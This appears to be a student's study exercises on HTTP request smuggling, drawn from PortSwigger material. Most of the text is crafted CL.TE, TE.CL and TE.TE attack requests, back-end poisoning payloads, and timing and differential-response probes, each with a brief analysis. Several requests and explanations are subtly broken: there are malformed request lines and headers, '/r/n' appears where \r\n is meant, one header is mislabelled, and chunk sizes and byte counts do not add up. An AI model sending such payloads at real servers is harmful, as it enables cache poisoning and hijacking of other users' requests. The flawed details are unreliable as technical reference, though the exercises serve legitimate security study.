

HTTP Request Smuggling

(Content taken from PortSwigger)

Scenario1 : Fundamentals of http request and hrs attack.

1. Give an HTTP POST request Example alongwith white spaces of Content-Length

POST /search HTTP 1.1

Host: normal-website.com

Content-type: application/x-www-form-urlencoded

Content Length: 14

\r\n

q=hrssmuggling\r\n

2. Using the above example write HTTP POST example alongwith white spaces for Transfer-Encoding

POST /search HTTP 1.1

Host: normal-website.com

Content-type: application/x-www-form-urlencoded

Transfer-Encoding:

\r\n

e\r\n (e = 14 in hexadecimal)

q=hrssmuggling\r\n

0\r\n

\r\n

3. Specify ways to craft hrs.

HTTP request smuggling can be crafted using various techniques, including **CL.TE**, **TE.CL**, and **TE.TE**. Here's how each works:

1. **CL.TE (Content-Length vs. Transfer-Encoding)**

- The attacker sends a request with both **Content-Length** and **Transfer-Encoding: chunked** headers.
- The frontend (proxy) processes the **Content-Length**, while the backend processes **Transfer-Encoding**.
- This causes desynchronization, allowing the attacker to smuggle a hidden request.

Example:

POST / HTTP/1.1

Host: target.com

Content-Length: 13

Transfer-Encoding: chunked

5

Hello

0

GET /malicious HTTP/1.1

Host: target.com

2. TE.CL (Transfer-Encoding vs. Content-Length)

- The frontend honors **Transfer-Encoding: chunked**, but the backend uses **Content-Length**.
- This can allow the attacker to manipulate request boundaries.

Example:

POST / HTTP/1.1

Host: target.com

Transfer-Encoding: chunked

Content-Length: 6

0

GET /malicious HTTP/1.1

Host: target.com

3. TE.TE (Transfer-Encoding Duplication)

- The request contains multiple **Transfer-Encoding: chunked** headers.
- If frontend and backend interpret them differently, request smuggling can occur.

Example:

POST / HTTP/1.1

Host: target.com

Transfer-Encoding: chunked

Transfer-Encoding: chunked

0

GET /malicious HTTP/1.1

Host: target.com

4.

Each method exploits differences in how HTTP proxies and servers process requests, leading to potential security vulnerabilities like cache poisoning, credential theft, or bypassing security controls.

4. Craft an HTTP post request that poisons the back-end server with the string "SMUGGLED" exploiting CL.TE vulnerability. Write your analysis.

POST /search HTTP1.1

Host: normal-website.com

content-type: application/x-www-form-urlencoded

content-length: 13

Transfer-Encoding: chunked

\r\n

0\r\n

\r\n

SMUGGLED\r\n

Analysis: The frontend server is going to read the content length which is 13 bytes reading it from 0 till the end of the body that is "D", this request will be forwarded to the backend server and the last chunk read by the backend server will be 0\r\n, however the remaining string "SMUGGLED\r\n" will be smuggled into the backend server

5. Craft an HTTP post request that poisons the back-end server with the string "SMUGGLED" exploiting TE.CL vulnerability. Write your analysis.

POST /search HTTP1.1

Host: normal-website.com

content-type: application/x-www-form-urlencoded

content-length: 3

Transfer-Encoding: chunked

\r\n

8\r\n

SMUGGLED\r\n

0\r\n

\r\n

Analysis: *The frontend reads the first chunk that is 8 bytes so "SMUGGLED\r\n" then see that "0\r\n" is sent so it stops reading and the frontend server completes its job, but the backend server processes the content-length that is 3 bytes so it only reads 8\r\n and the rest of the string "SMUGGLED\r\n0\r\n\r\n" gets smuggled.*

Scenario2: Find CLTE HTTP request smuggling vulnerabilities using timing techniques. Give you analysis.

The most generally effective way to detect HTTP request smuggling vulnerabilities is to send requests that will cause a time delay in the application's responses if a vulnerability is present.

POST /search HTTP1.1

Host: normal-website.com

content-type: application/x-www-form-urlencoded

content-length: 4

Transfer-Encoding: chunked

\r\n

1\r\n

A\r\n

X

Detection: *The frontend server processes the content-length header and it only reads till "A" which is an invalid request, this causes the server to delay its response since the request is malformed. The request is sent to the backend server and it starts processing the transfer-encoding. It reads "1\r\nA\r\n" successfully but the next chunk starts with an X so the backend server waits for the frontend to send a hexadecimal value, but it never does, so we get a time delay error;*

Scenario3 : Finding TE.CL HTTP request smuggling vulnerabilities using timing techniques. Give your analysis.

POST /search HTTP1.1

Host: normal-website.com

content-type: application/x-www-form-urlencoded

content-length: 6

Transfer-Encoding: chunked

\r\n

0\r\n

\r\n

X

Detection: *The frontend server is processing the transfer encoding so it starts processing the first chunk "0\r\n" and discovers this is the ending sequence, so it discards the extra X in the end and sends it to the backend server. The backend server processes the content-length header and starts counting but "0\r\n\r\n" is only 5 characters long, so the backend waits for the frontend to send the 6th character, but it never does, causing us to get a timeout error*

Scenario4: Confirming CLTE vulnerabilities using differential responses. Give Analysis

When a probable request smuggling vulnerability has been detected, you can obtain further evidence for the vulnerability by exploiting it to trigger differences in the contents of the application's responses. This involves sending two requests to the application in quick succession:

An "attack" request that is designed to interfere with the processing of the next request.

A "normal" request.

If the response to the normal request contains the expected interference, then the vulnerability is confirmed.

POST /search HTTP1.1

Host: vulnerable-website.com

content-type: application/x-www-form-urlencoded

content-length: 49

Transfer-Encoding: chunked

\r\n

e\r\n

q=smugglinghrs\r\n

0\r\n (22)

\r\n

GET /404 HTTP/1.1\r\n

Foo: x (49)

Backend Normal Request:

GET /404 HTTP/1.1

Foo:x POST /search HTTP/1.1

HOST: vulnerable-website.com

Content-type: application/x-www.form-urlencoded

Content-Length: 11

/r/n

q=smuggling

Analysis: If the attack is successful, the last two lines of the request the GET query will be treated as the part of the next request. So when the normal request reaches the backend, it will be attached after the GET request causing the normal request to fail.

Scenario5: Confirming TE.CL vulnerabilities using differential responses. Give Analysis.

POST /search HTTP1.1

Host: vulnerable-website.com

content-type: application/x-www-form-urlencoded

content-length: 4

Transfer-Encoding: chunked

\r\n

e\r\n

7c\r\n (124)

GET /404 HTTP/1.1\r\n

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded\r\n

Content-Length: 144\r\n

/r/n

x=/r/n

0/r/n

/r/n

Normal Request:

GET /404 HTTP/1.1/r/n

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded/r/n

Content-Length: 144/r/n

/r/n

x=/r/n

0/r/n

/r/n

POST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-type: 11

/r/n

q=smuggling

Analysis: In the case of TE.CL the first attack request will be expecting/counting for 144 characters, which will cover the entire POST request of the normal request gets enqueued after the GET request causing the normal request to take time to process and ultimately fail with an error.